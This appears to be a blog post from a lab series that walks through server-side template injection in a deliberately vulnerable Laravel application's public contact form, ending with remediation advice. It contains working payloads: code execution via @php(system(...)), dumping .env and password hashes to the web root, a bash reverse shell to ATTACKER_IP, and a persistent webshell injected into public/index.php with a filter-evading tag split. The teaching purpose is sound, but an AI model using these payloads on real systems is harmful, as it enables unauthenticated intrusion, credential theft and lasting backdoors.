The "message" box in the contact form is not handled as plain text. Before it lands in the auto-reply email, Laravel runs it through its template engine with Blade::render($contact['message']). Type {{ 7*7 }} into the message field and the email that arrives reads 49. Type @php(system('id')) and the queue worker runs id on the server, not your browser. The form is public, so no login is needed. The mail job executes in the dvla-horizon queue worker, which makes template injection a second unauthenticated route to code execution that does not depend on APP_KEY, a session cookie, or a gadget chain. The contact form was not built to be a shell, but the application treats whatever you type as code. Because the worker runs as root with the application mounted, the same injection can also dump .env, read every password hash, open an interactive root shell, and leave a backdoor that survives restarts.

Where This Sits in the Kill Chain

Up to now the series had one way to execute code on the app: leak .env, forge a session cookie with APP_KEY, and ride a phpggc gadget chain into a shell inside dvla-admin (Posts 1 and 2). That path works, but it depends on several things lining up: the Nginx root misconfiguration, the leaked key, the cookie driver, and the right gadget for the Laravel version. SSTI requires none of them. A public form and a mail job are enough.

This post adds a second route to code execution that does not touch the deserialization bug or any leaked secret. The entry point and the trigger are different, but the result is the same: a shell inside a container on the internal network.

One container detail matters up front. The deserialization chain lands you inside dvla-admin, the php-fpm web worker. SSTI puts you inside dvla-horizon, the queue worker. Both containers run as root and mount the shared /var/www code root, so either route can write files into the web root. The difference is where the code runs, not which user it runs as. Here it runs in the queue worker, out of band from the request that triggered it.

The diagram has two independent entry points into code execution. Post 2's deserialization RCE runs in dvla-admin, the php-fpm worker; this post's template injection runs in dvla-horizon, the queue worker. From either container, the internal Redis node and the mounted docker.sock are within reach, and Post 11 turns the socket into a host escape. Real assessments usually look more like this than like one clean line: several independent bugs that each lead toward the same internal target.

Vulnerability Classification

CWE CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (Server-Side Template Injection), with CWE-94 (Code Injection) as the consequence once the payload escapes the template.
OWASP Top 10 A03:2021 Injection. SSTI sits in the injection family alongside SQL injection: untrusted input reaches an interpreter and is treated as instructions.
Why it is worse than the usual SSTI Most template engines restrict you to a limited expression language. Blade is not a sandbox; it compiles templates directly to PHP, and @php is a first-class directive rather than an escape hatch. There is no expression syntax to break out of, because once the string is compiled it can do anything the PHP process can. Exploitation needs no gadget chain and no clever escape.
Authentication required None. The contact form at /contact is public and anonymous. Submit the message, the mail job picks it up, and the template engine runs it. The attacker never logs in and never touches the admin panel.
Where the code actually runs The NotifyNewContact job executes in the dvla-horizon container as the root queue worker, not in the php-fpm web worker. The payload's output lands in the rendered email rather than the page the attacker submitted from, and the injected code can write into the shared /var/www code root that both containers mount.
Severity note Critical. Unauthenticated remote code execution through a public form, running as the queue worker in the dvla-horizon container on the internal network. The main prerequisite is that the queue worker is running, and this lab ships with Horizon doing that.

Blade in Thirty Seconds

Blade is Laravel's templating language, but it is not an interpreter that runs at request time. It is a compiler. Every Blade file gets compiled down to a plain PHP file, cached, and then executed like any other PHP. {{ $x }} becomes an echo, @if becomes an if, and @php means "paste raw PHP here."

That distinction is the bug. When you render a view, the template is a file you wrote and shipped. When you call Blade::render($userInput), the template is a string the user typed, and Blade compiles it with the same trust it gives your own files. The engine has no way to tell the two apart, and it was not designed to.

Safe: template is a file you own
// resources/views/mail/contact.blade.php
// {{ $contact['message'] }}  <- compiled once, data is data
Unsafe: template is whatever the user typed
$rendered = Blade::render($contact['message']);

In the safe column the user's text is data. It gets echoed through an escape function and never reaches the compiler. In the unsafe column the user's text is the template itself, so any Blade directive they write is one the server executes.

The Vulnerable Code

The bug lives in the contact form's mail path. A visitor submits /contact, Livewire validates the fields, the message gets stored in the contacts table, and a job is queued to email the site owner. That part is ordinary. The problem is what the mailable does with the message when it renders.

app/Mail/NewContactMail.php
public function content(): Content
{
    // Legacy v1 CMS used a Blade "message template" feature so content editors
    // could drop {{ $contact['name'] }} and friends into the auto-reply. Kept
    // for backwards compatibility; renders the raw submission as a template.
    $rendered = Blade::render($this->contact['message'] ?? '', [
        'contact' => $this->contact,
    ]);

    return new Content(
        view: 'mail.contact',
        with: ['renderedMessage' => $rendered],
    );
}

The comment explains the intent. The feature lets a content editor put {{ $contact['name'] }} in a reply and have it filled in, but the string was never restricted to the editor's own templates. It is the same message field the public form accepts from anyone, and it goes into the compiler.

The mail view then trusts the result as HTML and drops it in unescaped, which is how the compiled output makes it into the actual email:

resources/views/mail/contact.blade.php
<p>Message: {!! $renderedMessage !!}</p>

Two mistakes stack here. User input is treated as a template, and the rendered output is emitted with {!! !!}, so whatever the template produced is trusted as HTML. The first mistake is the code execution; the second is what makes the result visible.

The queue is what makes it fire Nothing executes at submit time. The message is stored, a job is pushed to Redis, and Horizon's worker picks it up a moment later. The exploit runs out of band from the request that triggered it. You submit a form and the code runs in a different container, in the root queue worker. From the attacker's side all you see is "Message Sent." On the server, the compiled output does not go to a log. It gets captured by Blade's own output buffering and written into the rendered message body, so the only place you will see it is the auto-reply email itself. When reproducing it, the job is pushed to the default queue only when APP_ENV is docker, otherwise the code routes it to the emails queue. The worker has to be listening to the same queue the job landed on, or the message sits there unrendered and the payload never runs.

Why Blade::render() Is Not a Feature

Laravel's docs are clear about what Blade::render() does, but the pattern keeps shipping anyway. It compiles an arbitrary template string on demand, so once that string contains anything a user can influence, the user is writing PHP. There is no sandbox between the two. @php is a supported directive, @include and @extends reach into the filesystem, and once code runs, any PHP function is available.

It is the template version of eval(). You would not put a user's form field through eval() and then argue it is fine because most visitors type polite messages. Blade::render($input) is the same decision with a prettier name, and it fails the same way.

The Payload Arsenal

Because Blade compiles to PHP, the payload ladder is short. Detection is one multiplication, exploitation is one directive.

{{ 7*7 }}                        // detection: email reads 49
{{ config('app.key') }}            // leaks APP_KEY straight into the reply
@php(system('id'))                 // RCE, output appears in the rendered email body
@php(system('env'))                // RCE, dumps every env var into the rendered email body

The last two are the ones that matter in this lab. system()'s output does not go to a container log. It is captured by Blade's own output buffering while the template compiles and returned as part of the rendered string. That string is what content() hands to the mail view, so the command's output ends up inside $renderedMessage, which lands in the body of the auto-reply email. There is no webshell or reverse shell; the output simply turns up in the email the exploit causes the app to send.

Proof of Concept

Prerequisites: a working outbound mailer. The form is public and the queue worker is already running, but a fresh clone's MAIL_MAILER=smtp falls back to 127.0.0.1:2525, and nothing is listening on it. The mailable still gets built and the payload still executes either way, because Blade compiles the message before the transport connects. But if delivery fails, the rendered output is discarded with it and you cannot read the result. Point MAIL_HOST/MAIL_PORT/ MAIL_USERNAME/MAIL_PASSWORD in .env at a real catcher first, a free Mailtrap sandbox inbox is enough, then restart the Horizon worker so it picks up the new config.

Step 1 Confirm the sink is live by submitting a harmless expression through the contact form. Message:
{{ 7*7 }}
Contact form with the payload {{ 7*7 }} entered in the Your Message field
Step 2 Open the message in your mail catcher's inbox. The stored message, when compiled, evaluates to 49, and the email body reads:
Message: 49
Mail catcher inbox showing the auto-reply with Message: 49
Step 3 Now that you know the string is being compiled, drop a real payload. Message:
@php(system('id'))
Step 4 The job runs out of band. Open the message in your mail catcher, the id output is written into the email body:
Message: uid=0(root) gid=0(root) groups=0(root)
Mail catcher inbox showing the id command output: uid=0(root) gid=0(root) groups=0(root)
Step 5 Or pull a secret out instead. Message:
{{ config('app.key') }}
Step 6 The rendered reply that gets queued contains the master key:
Message: base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=
Mail catcher inbox showing the leaked base64 APP_KEY in the message body

The RCE proves the sink, but {{ config('app.key') }} carries the master key out through the queue worker. That is the same key Post 2 uses to forge a session cookie and reach deserialization RCE, so the two bugs in this series feed each other. The contact form was never meant to be a shell or a secret store; it is now both.

The form was never meant to be a shell Every step here is normal app behavior. A visitor submits a message, the app saves it, and a job emails the owner. The only abnormal part is that Laravel compiles the message as code along the way. There is no special exploit technique beyond knowing that Blade::render() compiles its argument; the rest is the app doing what the developer told it to.

From Proof to Real Damage

49 only proves the message is compiled. The attacks start here. Every example below is a payload you paste into the same Your Message box on the public /contact form, with nothing more than a running queue worker. No login, no leaked key, and, unlike the steps above, no mail catcher.

The attacks fall into two groups. Attacks 1, 2, and 4 write a file into the web root and read it back over plain HTTP, using only the access an outsider already has: the same protocol they used to submit the form. Attack 3 asks the container to open a new outbound connection to an address the attacker names, which depends on the target's egress rules and on the attacker having something reachable to receive it. That path exists in this lab because everything shares a Docker bridge; on a real target it usually does not. The file-write attacks are the ones that hold up against a true outsider.

How to run any example here Open http://localhost:8084/contact, fill in the required fields (any name, a valid email), paste one payload into the Your Message box, and click SEND. A second later the queue worker runs the payload inside dvla-horizon as root. ATTACKER_IP appears only in Attack 3, and it is the one value here that depends on the network rather than on the payload: replace it with an address the containers can reach from inside the lab.

Attack 1 Dump the whole .env to a URL anyone can read

What it does: it reads the application's .env file every secret the app has and writes it into the web root, where Nginx serves it like any other file. No email, no mail server, no waiting: you open a URL and read the secrets. Where {{ config('app.key') }} leaked one value into an inbox, this dumps everything at once.

Paste this into the Message box:

@php(file_put_contents('/var/www/public/leak.txt', file_get_contents('/var/www/.env')))

Then open this URL:

http://localhost:8084/public/leak.txt

The page shows APP_KEY, the MySQL password, the mail credentials, every secret in the file:

Browser showing /public/leak.txt with the full .env leaked, including APP_KEY and DB_PASSWORD

Attack 2 Dump every user and password hash

What it does: the same trick, aimed at the database. The worker already holds working database credentials, so it can ask the application's own ORM for every account and write the result to a URL. You get a list of emails and bcrypt hashes to crack offline. Policy, MFA, and rate limiting stop nothing once the hashes are gone.

Paste this into the Message box:

@php(file_put_contents('/var/www/public/users.txt', \Illuminate\Support\Facades\DB::table('users')->select('id','name','email','password')->get()->toJson(128)))

Then open this URL:

http://localhost:8084/public/users.txt

A few seconds later it is a tidy list of every account:

Browser showing /public/users.txt with every user's email and bcrypt password hash

Attack 3 Get an interactive root shell

What it does: instead of writing a file, this payload makes the worker open a connection back to your machine and hand you a command prompt inside the container. This is a live session: you type commands, they run on the server as root, and the output comes back to your terminal. The file dumps are silent by comparison, while a reverse shell gives you an interactive session instead. It needs no webshell, gadget chain, or key.

Why this one is different Attacks 1, 2, and 4 reuse a channel the attacker already has: submit the form, then fetch a public URL. This one needs a channel that does not exist yet. The container has to be allowed to open an outbound connection to an arbitrary address, and that address has to be reachable and already listening. Neither is guaranteed. Production networks often block egress or allow only known destinations, and an outsider rarely has a public host with a raw port open to receive the callback. That is the gap between "the payload runs" and "a true outsider can use it." The hard part is not interactivity; the exfiltration channel has to be built in real time, outside the access the attacker already has.

Before you start, open a terminal and start a listener (change the port if you like):

nc -lvnp 4444

Find an address the containers can reach. In this lab that is the Docker bridge gateway, because the worker and the listener happen to share a host; on a real target there may be no such route:

docker network inspect dvla_dvla-net -f '{{(index .IPAM.Config 0).Gateway}}'

Paste this into the Message box, replacing ATTACKER_IP with that address:

@php(system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'))

Your listener catches a root shell inside the queue worker. The shell runs with the same root privileges as Attacks 1, 2, and 4; the difference is that it is interactive, and that it required the network path. Nothing about the submitted request looked unusual:

Reverse shell from the dvla-horizon container showing uid=0(root) and the leaked APP_KEY

Attack 4 Leave a backdoor that survives restarts

What it does: the payloads above copy data out and stop. This one writes executable code a small backdoor into the file that handles every page request, public/index.php. After it runs, the application's own home page runs commands for you: open http://localhost:8084/?c=id and the page returns the output of id. It keeps working after the queue drains and after the containers restart, until someone edits the file back. Nginx forces every PHP request through public/index.php (see docker-compose/nginx/dvla.conf), which is why that is the file to poison.

Paste this into the Message box:

@php(file_put_contents('/var/www/public/index.php', '<'.'?php if(isset($_GET["c"])){system($_GET["c"]);exit;} ?'.'>'.file_get_contents('/var/www/public/index.php')))

Then open this URL (try ?c=ls or ?c=cat /var/www/.env as well):

http://localhost:8084/?c=id

An important observation here: the tag is split as '<'.'?php' and '?'.'>' on purpose. Blade runs the template through PHP's tokenizer, so a literal <?php inside the payload flips the tokenizer into PHP mode and corrupts the render. Splitting the tag sidesteps that, and it slips past the naive @php filters you might be tempted to write. From then on the application's own front page is the backdoor:

Browser showing the application root URL executing id through the injected backdoor and returning uid=0(root) plus the leaked APP_KEY
None of these payloads required a login, a leaked key, a gadget chain, or even a working mailer. For attacks 1, 2, and 4, an outsider only needs access to the public form and a public URL where they can read the result. That is enough: submit the payload, get the worker to run it, and use its ability to write to the web root to extract the application's secrets and install a persistent backdoor. Attack 3 is different because it requires an additional network path, which isn't necessarily available. The file-write attacks are therefore the ones that work against a genuine external attacker without relying on that extra assumption.

What You Can Do Once Template Injection Works

Unauthenticated RCE

The contact form is public. No key, session, or gadget chain is needed; one submission turns into code execution on the queue worker.

Runs as root

The payload executes in the dvla-horizon container as the queue worker's root user, which is what lets it write into the shared code root.

APP_KEY disclosure

{{ config('app.key') }} sends the master key into a queued email, which then re-enables the Post 2 deserialization route if it was ever closed.

Writes to the code root

The worker's user owns the shared /var/www tree, so injected code can read and write the entire application source, config files, and storage, not just echo to a log.

Same network as the escape

The Horizon and php-fpm containers both sit on the internal dvla-net bridge and mount /var/run/docker.sock, so this shell lands in the same part of the network where Post 11's host escape plays out.

Hard to spot

Nothing looks wrong in the browser: the response is just "Message Sent," and the code runs later in a different container. There is no upload, no payload request, and no error page. The exfiltrated files and the injected backdoor never appear in the response, so the first sign is often an outbound connection rather than the web app.

Remediation

The fixes that matter ArtisanBreach intentionally stays broken. Below is what closes this in a real application.
Fix 1 Never compile user input as a template. Render a file you own and pass the input as data.

The bug is that the message is the template. Flip it back: the template is your Blade file, the message is data, and Blade's normal escaping handles the rest. That means two edits the mailable stops calling Blade::render(), and the view echoes the message as data instead of emitting a pre-rendered string:

app/Mail/NewContactMail.php
public function content(): Content
{
    return new Content(
        view: 'mail.contact',
        with: ['contact' => $this->contact],
    );
}
resources/views/mail/contact.blade.php
<p>Message: {{ $contact['message'] }}</p>

With the message back in a {{ $contact['message'] }} echo, an attacker's @php is just characters in an email, not a directive. The "template" feature dies, which is fine, because public visitors were never supposed to author templates.

Fix 2 If a template really must be built from stored strings, compile it in an isolated, allowlisted subset, never full Blade.

A genuine "mail merge" feature should look like a tiny token replacer, not a template engine. Accept only {{ name }} and {{ email }}, and substitute them with str_replace before the string ever goes near Blade. There is no reason a customer-facing merge field needs access to system():

$message = str_replace(
    ['{{ name }}', '{{ email }}'],
    [e($contact['name']), e($contact['email'])],
    $template
);

A replacement loop this small has no compiler and no directives, so it cannot become code. It keeps the convenience the original feature was after, without the RCE.

Fix 3 If you insist on Blade::render(), scope the data and treat the output as untrusted.

Some legitimate cases do render stored template strings, admin-edited email templates, for instance. If that string must stay a template, pass only the data it needs (nothing global), and escape the rendered result with e() before it reaches the view, so even a view that still emits raw HTML cannot turn it into markup:

$rendered = Blade::render($template, ['contact' => $this->contact]);

return new Content(
    view: 'mail.contact',
    with: ['renderedMessage' => e($rendered)],
);

This does not stop an @php payload from executing; that is inherent to full Blade, so it is a depth measure only. Fix 1 or Fix 2 is the real fix. This third one applies when you have accepted that the template authors are trusted admins and only want to keep their output from becoming an XSS vector in the mail client.

Remediation Checklist

Grep the codebase for Blade::render(, Blade::compileString(, and view()->make($userInput). Every hit is a candidate for template injection. Trace the argument back to its source.
Treat user input as data, never as template source. Render a static Blade file and pass the input through with() so Blade's normal {{ }} escaping applies.
If stored template strings are a real requirement, replace them with an allowlisted token replacer (str_replace over a fixed set of merge fields), not a full template engine.
Never emit the output of a rendered template with {!! !!}. If you must render, escape the result with e() so the compiled output cannot become a second-stage XSS in the mail client or page.
Run queue workers with a least-privilege user. A mail job should not run as root, and it should not have a mounted docker.sock. Even after the template bug is fixed, this caps the blast radius of any future injection.
Detect before you fix. Submit {{ 7*7 }} through any form that gets rendered or emailed back. If the number 49 comes back, the input was compiled as a template, and you have an SSTI to close.